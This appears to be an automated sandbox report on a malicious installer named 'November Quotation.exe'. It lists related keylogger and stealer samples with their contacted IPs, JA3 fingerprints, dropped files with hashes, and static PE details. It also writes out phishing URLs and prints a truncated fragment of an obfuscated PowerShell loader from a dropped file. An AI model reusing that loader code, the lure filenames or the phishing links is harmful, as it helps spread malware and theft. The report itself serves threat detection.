	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ORACLE-BMC-31898US	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	F7Xu8bRnXT.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.6.168
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	IMG-20241119-WA0006(162KB).Pdf.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	168.139.6.21
CLOUDFLARENETUS	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	PO_203-25.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.67.200.96
	F7Xu8bRnXT.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
	https://go.jrwcap.com/e/955053/230645595232154/6xyvj/710994189/h/-dwcgo8Jrn520ILsDDgocWZSKLzmmTijUb6c_giV2KA	Get hash	malicious	Phisher	Browse	104.22.72.81
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	Unknown	Browse	104.21.88.250
	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse	172.67.206.110
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	F7Xu8bRnXT.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	IMG-20241119-WA0006(162KB).Pdf.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WNIOSEK BUD#U017bETOWY 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://www.e-serviceparts.info/landingpages/cce21bb4-48dd-49da-9e48-d89a21f56454/RtynoRElk6VQIiohoauuXaUdv9Gb4EPJBf3UQg9_Um4	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lcc333.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	lcc333.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://cgpsco.rahalat.net/conta	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://google.lt/amp/taerendil.online.fr/gpfv9cqYcuejGaVElbEvNcI6wCkeo	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	PO_203-25.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.181.1 172.217.19.174
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse	142.250.181.1 172.217.19.174
	WNIOSEK BUD#U017bETOWY 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.181.1 172.217.19.174
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.181.1 172.217.19.174
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.181.1 172.217.19.174
	412300061474#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.181.1 172.217.19.174
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse	142.250.181.1 172.217.19.174
	Cargo Invoice_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.181.1 172.217.19.174
	KAHILINGAN NG BADYET 25-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.181.1 172.217.19.174
	URGENT!! DHL invoice SG00101637 Adobe#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.181.1 172.217.19.174

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	14744
Entropy (8bit):	4.992175361088568
Encrypted:	false
SSDEEP:	384:f1VoGIpN6KQkj2qkjh4iUxehQJKoxOdBMNXp5YYo0ib4J:f1V3IpNBQkj2Ph4iUxehIKoxOdBMNZiA
MD5:	A35685B2B980F4BD3C6FD278EA661412
SHA1:	59633ABADCBA9E0C0A4CD5AAE2DD4C15A3D9D062
SHA-256:	3E3592C4BA81DC975DF395058DAD01105B002B21FC794F9015A6E3810D1BF930
SHA-512:	70D130270CD7DB757958865C8F344872312372523628CB53BADE0D44A9727F9A3D51B18B41FB04C2552BCD18FAD6547B9FD0FA0B016583576A1F0F1A16CB52EC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0nowsgee.nlq.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1gmql3cy.yvc.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5a25gc0c.ol3.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3jwlvlg.aeq.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\sognenes\iconograph\Copyboy.Mar

Process:	C:\Users\user\Desktop\November Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	309198
Entropy (8bit):	7.687688364471506
Encrypted:	false
SSDEEP:	6144:+45Jz+d75cwaWrXVEFGv23rV8jwg2LGucOx7B0/ghRvp9EyMX4BWA:nBS7l/XVEFGv23Kwg2LGUJRB9EyMX4b
MD5:	E5466E123FF5ED549CDCD775BCA484F2
SHA1:	46ACAB555B1CF24512E5D5F7C2BACEA6182A5624
SHA-256:	61AA8D19A5C0C98767C0561275EA0A7336DE8255413B4098DB600BCFE6321ABF
SHA-512:	F8861A0F3D643130172474B55A05ED442144C897934EB330203910BA408D2714AB86D05044CCB402B3504461F5743676DEC0A7DB4CFF1E6455805615A5C35D64
Malicious:	false
Preview:	......DD.........yy..SS..............<<<<..............a...................................<........hh.......a.........{.b............W...K......(.......?..................r.N......DDDD...L............,...z.CCC...............X...........==..b.4..g............................sss......_..A..............................L..........w..........cc.....7......P..LLLL.......U..................7..2... ..cc...........................WWWWW............&....................h.......r...9...........;.............````.P.............................nn...]............V...........A....................................=..__..............q.~~.........E.............;.....QQQ.y...................... .........u.............[...............,,.........................k........k.K...............=.....00.....yyyyy.====.....1..8..........[[.........4................Q..Z............C.\\.mmm.....................................PP...---.........++...............................r.........g.PP..888.c.G.............t.....

C:\Users\user\AppData\Local\sognenes\iconograph\Folkways\November Quotation.exe

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	778344
Entropy (8bit):	7.97640116034132
Encrypted:	false
SSDEEP:	12288:rI9y5EG2ab+ek+FWcHng0zChAFzDr1/RvK4f6efLIyc/QAIMOms+xwptpXhX51H/:JVxfHWeg0zPzN/R/6MIVHIRZtphp1H/
MD5:	EBFE0469CA7E7A5CA4957B72BF4B1A48
SHA1:	A5ABD780240905F85846A2EB91B17FFBFED640AB
SHA-256:	5D68FC50B0A3CEF7ACCABD9C3195998C04A0ADAE0A7E8B3FAC3881F5C5397305
SHA-512:	F8215A057BCAC613C817D5837A3CCD249CDDAF8F8E355921D8F56A2D83CBDF0D0F22874F00DD0E5D640122CFBE8B3F7B79BCA440196DB54F0C861013C782D350
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.*j........PE..L....f.R.................b..........)2............@..................................................................................P... ..........h................................................................................................text...l`.......b.................. ..`.rdata..`............f..............@..@.data................\|..............@....ndata.......P...........................rsrc.... ...P..."..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\sognenes\iconograph\Folkways\November Quotation.exe:Zone.Identifier

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\sognenes\iconograph\Folkways\sammenpressede.all

Process:	C:\Users\user\Desktop\November Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	419440
Entropy (8bit):	1.2480722763583403
Encrypted:	false
SSDEEP:	1536:4BwK0Pb9vPh5wDlFliMx5mJhqxVcOyVQvXFLYV:6Iz9H4D4Mx5Wh4HzGV
MD5:	F53585FFDD1E9FD890FDA7C8760B4765
SHA1:	C835F9A0A67B77A2D671A7A04BEA8CE810307850
SHA-256:	D95B9B8EBE45ED0AACD94595297C6155D6EAE9CA57EA4B5E586513A3628AFDB1
SHA-512:	38ABCA14F2B6874C66235EF08EDA10327D2A58769D122AA164A4A1A86FE3D966D0F7AEA554E6315157DC80A72E4156F6A4CD1452DC5F3D2CED3F7D407772ECFF
Malicious:	false
Preview:	.........................E.....................................R..........G.......0.............Y..............................................*....@.................:......................................................u..............................U..................l.......................................................................1...................M.......P......J.......................................\|............R.......................................::..<%............................O.....}.................................N..........................................B............................N......................................;.......D....................................................................................a.................................................../..K....................................................................................w.......................................................................;......................................

C:\Users\user\AppData\Local\sognenes\iconograph\Folkways\squamae.com

Process:	C:\Users\user\Desktop\November Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	330846
Entropy (8bit):	1.260352790698924
Encrypted:	false
SSDEEP:	768:tJCG3Zp6ICBp3uKWDL9e7LZSQvwthb++dk5MJKUe4ZCGKtnyuwvKZGye8HBdEmTN:tJ3u2two+KyomXrv4BxnU7cjkE+8
MD5:	F3705D740DCA8D46B5A48D60C835E2A1
SHA1:	9E80CF8669C2A6680BE5AEEE5E84B7BFB55E04E3
SHA-256:	87B08EA9D89BC023BE4A6CEF3CA5B74DAC237A35173651C31E8B19062C427064
SHA-512:	6C5B39CCBA3D187DBC2CD14620CBDE9BDC778CC59CF96C5F8900B3CC40099A0C66E7ECB5CD30203A7D71BF183F9B2E49BB582A632AE12CF94A62232548D4687C
Malicious:	false
Preview:	...7F......................./...............................u....P.................=................................."...............................................................................................B......................................................\|...............P........;..............%..v......................I................................................Z]...4..........................................................a......................................................................W.........................................x.t...................................................................................................`................................%.................z.a.......................%...........................`...............P...%..........q......H.].......................0............................................].....................................]..........e........*......s...x.v........................................Z...........

C:\Users\user\AppData\Local\sognenes\iconograph\Folkways\subcause.txt

Process:	C:\Users\user\Desktop\November Quotation.exe
File Type:	ASCII text, with very long lines (420), with CRLF line terminators
Category:	dropped
Size (bytes):	498
Entropy (8bit):	4.3054308720223355
Encrypted:	false
SSDEEP:	12:qzp84ke8uH/7LIAwsL009wHT9vlrbUoiNbixsjGC7H/H/rTA:qAhuH/Pr0qwxvBUnqbGHA
MD5:	DEE6FD93E40102A2D88FBD1EB620D5AE
SHA1:	0FBBCCA4BC3A63D6483705F71A1248B9E9C0E731
SHA-256:	653C71C641347ED4C3A1F887914AE2DC458D188DAAA9BA78BD6847C10F7991F9
SHA-512:	E1DC9F48BF9DF764A8C1EEFC5F207055EC1D607C186C54FE17DDCB6F123627D688499C104B0B470B437B5A0F711474EBB30FF10BD275C2B5209958D2496B3668
Malicious:	false
Preview:	studious ambulacra burdon fjernseer overrkkelsen ludderkarle livingly.scientificogeographical hypotaktiskes ecclesioclastic biestings stormoguler,arvebeholdningens nedskrivningstidspunkt delebrnenes opmarchfelts bemingles,nasalized unquittable efterrationalisere trafikministerium hemeralopic buckeens,feasibilities northing diiodide drukken cauponate attenaarsfdselsdages acknowledger stomal chalcocite moors brstningen..liberalist miraculosity broby semipneumatical griffin unlethargic chittered,

C:\Users\user\AppData\Local\sognenes\iconograph\Indspilningers.ear

Process:	C:\Users\user\Desktop\November Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	400041
Entropy (8bit):	1.2584780109276614
Encrypted:	false
SSDEEP:	1536:PZ3YIEY5YqtG8iK71hNbof463B02ddipw:h3dt5jG8iK7Rbonx0A
MD5:	08153E7C8C786458C9204FA5AB05DA6F
SHA1:	2D0DE2FFB4D2B4B32239B238A7F2F4DEAE6242B5
SHA-256:	E1B321A718070E6BC55A2D09BA6458C315C3E2012D6CFC38FA706EAC714787B6
SHA-512:	E37D596C5794820F25856AFBD00978E3BB85A726B84ED5BBD39514D73A2AEBCCC79E4F5F59E1F2B4DD42CCA97696762BFA88A9C1AC0427F6FF6268F977273A02
Malicious:	false
Preview:	.............................R..................c............................................................................................o..........................................u...............E.....:.P...........8.................................Z.........................................;......y......................=..........................0....M........................$...................................................v...............;................i........9........................................Y..................................pK........ ....b......................................................................................................................................................................Y..................5.................{............1..............................................o......................................O..............4..................................................................W.........+......3........h....................

C:\Users\user\AppData\Local\sognenes\iconograph\Kropsdoven226.rag

Process:	C:\Users\user\Desktop\November Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	380141
Entropy (8bit):	1.2574687741536028
Encrypted:	false
SSDEEP:	768:3vD0NBovaItxEQPmk6v4We0jR/yP8d9bOBhVceyrR9e2hHcrFiPSPDITvoS9EoCV:V2cUcRZ6NVCSnzxY9I54r2wlhTtcgD
MD5:	678AE408AFCD33E6AB7E3407E8299900
SHA1:	4948239D5601EE3834D74E408BB216A2D7CDC5B3
SHA-256:	6DED8514E23407D3E6ABA312ECF511B304C20056DBF61B4411DD9289E3E38EC7
SHA-512:	3ED610200A030C2D260CC9CE1FD5AD314FAE7872B7B5128ECF9868EE95E06B8641DB8D8B296B0D64EF72AC872CB8AB673A5EC33786561B7562B4D2DDE9565778
Malicious:	false
Preview:	.............................................................................o...................................N...Y..7....................<..................................................n........................A.....................~.................................................................................j....#..............................................................^4..................Ry.............W............................................. .\|.............................q....(...............0X......<.................................................o..............=..........................................................(.......................................................................2...............................1........0................................r........V.....................5.............................................................T...............y........).........................\.............\|...............................e.......

C:\Users\user\AppData\Local\sognenes\iconograph\Saddelknapperne.Srv

Process:	C:\Users\user\Desktop\November Quotation.exe
File Type:	ASCII text, with very long lines (4175), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	69718
Entropy (8bit):	5.2028812445345585
Encrypted:	false
SSDEEP:	1536:dCor2KyN7vv0sM4+dldM9VheYtL967zlTOlQ:dCoV4vxGlSVhVARClQ
MD5:	F1B47D3B2608577828342F5E8A7C9BF8
SHA1:	11AED67EF8C02835FBCDC4B90D4A3A23113EAF4C
SHA-256:	54D3AB1EA222AB9A21976E86DFDD0340023E12D5CCE6107257BE8EEC589FED88
SHA-512:	A3A58689EE9132DAB950524FF8F77BB96D9A9095EE4DA811BA8FD57E7D865F8D255F39F2486BCD6F61EDA96F882342DEF08171DD0DDAF2013C871FC9E809C59D
Malicious:	true
Preview:	$Superperson=$Guldmntfod;..<#roamingly Washbasin Radiciform #>..<#Bukseknappen Selvherskers Unsubjected Omstningsforhold Protelytropteron #>..<#Anfordre Terrorise Rundkredses #>..<#Nonsupportability Hierographer Superorder Eksamensresultaternes Kultivwyr Tusindstraales #>..<#plateauers hypothecary Vanvittiges Aporobranchian Konferencerum #>..<#Preconsume Filamenterne Analgen udbudene Skovduer Orkestrenes Acrita #>...$Unimpeded = @'.Synagog.Tekstbl$Daar,igCdilan ieStikordn AkademtHoneyb,a FeminovFrst inoBygdsjesSv ngenpSvimlentBombeofeEnvironrComatosyFortinngLatic foSwansont AllongeKlar gb=Apogamo$Triang.HTrykbaro LovsanlEva geld.rededue NonthrnFla elldIndoneseAsparag;Rdstens. dimlyrfSi.oejnuPerversn UninticReadorntBj,rgfyiUn postoForundenSparrer LeptoloNDomsprauFremsprc LaichphIso,enoaRad umil UforskeAfkoder Compu e(Patr.ce$PolyhisCFaldrateTareredn jemmetPeberbsa Sammenv Kemikao Delstes Tetrab,Equicur$Ophrea.KSkalpejaSnalrets OutgaitUreth oe Ekstrap Parer i gaffellstjer ee ofemisTill

C:\Users\user\AppData\Local\sognenes\iconograph\kronvildtjagternes.end

Process:	C:\Users\user\Desktop\November Quotation.exe
File Type:	data
Category:	dropped
Size (bytes):	491235
Entropy (8bit):	1.2538765845677147
Encrypted:	false
SSDEEP:	1536:FawI4v7S6p/E5EU9JY0/pp/ML+TnDlimevo973PeAfw:FVY6+5jW0/ppk4kQ1WGw
MD5:	62863D598F1A549DD404F0E847CB0E80
SHA1:	693CC97D03FC863A591453B9E56BB5ACCC8EE514
SHA-256:	30064BCF87470C975F5644266359199C88F648815297CA8784EDC68610C06794
SHA-512:	5C804A3D1CEC1E0669F3A0B02B09E3E4430659C217B4F15ECC6757818EF67DFD17655C8E7C49A5B56B01F13FB0BCD9D01670CF6E984E9491BF8B9698B5109CA9
Malicious:	false
Preview:	.................................................................................b......b...............4........j...............................s....I........i....2................b.H..............................e....................................j...j...........k......................................d............................................S..............j........................................................c...............................................................................L....W...........<.......U.......................#...........A...................q.............................=.....................E..........................................................................................}...........................................4...................)..8..................................6........A...............................................................................5>..........m.....................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.97640116034132
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	November Quotation.exe
File size:	778'344 bytes
MD5:	ebfe0469ca7e7a5ca4957b72bf4b1a48
SHA1:	a5abd780240905f85846a2eb91b17ffbfed640ab
SHA256:	5d68fc50b0a3cef7accabd9c3195998c04a0adae0a7e8b3fac3881f5c5397305
SHA512:	f8215a057bcac613c817d5837a3ccd249cddaf8f8e355921d8f56a2d83cbdf0d0f22874f00dd0e5d640122cfbe8b3f7b79bca440196db54f0c861013c782d350
SSDEEP:	12288:rI9y5EG2ab+ek+FWcHng0zChAFzDr1/RvK4f6efLIyc/QAIMOms+xwptpXhX51H/:JVxfHWeg0zPzN/R/6MIVHIRZtphp1H/
TLSH:	12F4234979E0F935DE670F35F03254B58BD6E8587013AA07D7108E2A7A3E582E81F72B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.*j........PE..L....f.R.................b..........)2............@

File Icon


Icon Hash:	1f9706b9f9391b86

Static PE Info

General

Entrypoint:	0x403229
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x52BA66B8 [Wed Dec 25 05:01:44 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7ed0d71376e55d58ab36dc7d3ffda898

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Schairerite, O=Schairerite, L=Patay, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	09/10/2024 10:26:00 09/10/2027 10:26:00
Subject Chain	CN=Schairerite, O=Schairerite, L=Patay, C=FR
Version:	3
Thumbprint MD5:	9C121656BA274DCAEC01A322F4D92C1A
Thumbprint SHA-1:	70431CF42DF7266CCF860698503A7AD67801DE49
Thumbprint SHA-256:	AFF12891F7C23E83D543816FAA2F72EC6F6380A169240865C2FD0EB223DB8399
Serial:	0D0275EA70BAB30B6D070F7111359FA500BBD8D1

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 0040A2D8h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00408034h]
push 00008001h
call dword ptr [00408134h]
push ebp
call dword ptr [004082ACh]
push 00000008h
mov dword ptr [00434F58h], eax
call 00007F1770D4C0A4h
mov dword ptr [00434EA4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B1B8h
call dword ptr [0040817Ch]
push 0040A2C0h
push 00433EA0h
call 00007F1770D4BD0Fh
call dword ptr [00408138h]
mov ebx, 0043F000h
push eax
push ebx
call 00007F1770D4BCFDh
push ebp
call dword ptr [0040810Ch]
cmp word ptr [0043F000h], 0022h
mov dword ptr [00434EA0h], eax
mov eax, ebx
jne 00007F1770D4920Ah
push 00000022h
mov eax, 0043F002h
pop esi
push esi
push eax
call 00007F1770D4B74Eh
push eax
call dword ptr [00408240h]
mov dword ptr [esp+18h], eax
jmp 00007F1770D492CEh
push 00000020h
pop edx
cmp cx, dx
jne 00007F1770D49209h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007F1770D491FBh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85a0	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x65000	0x20b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xbd768	0x900
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
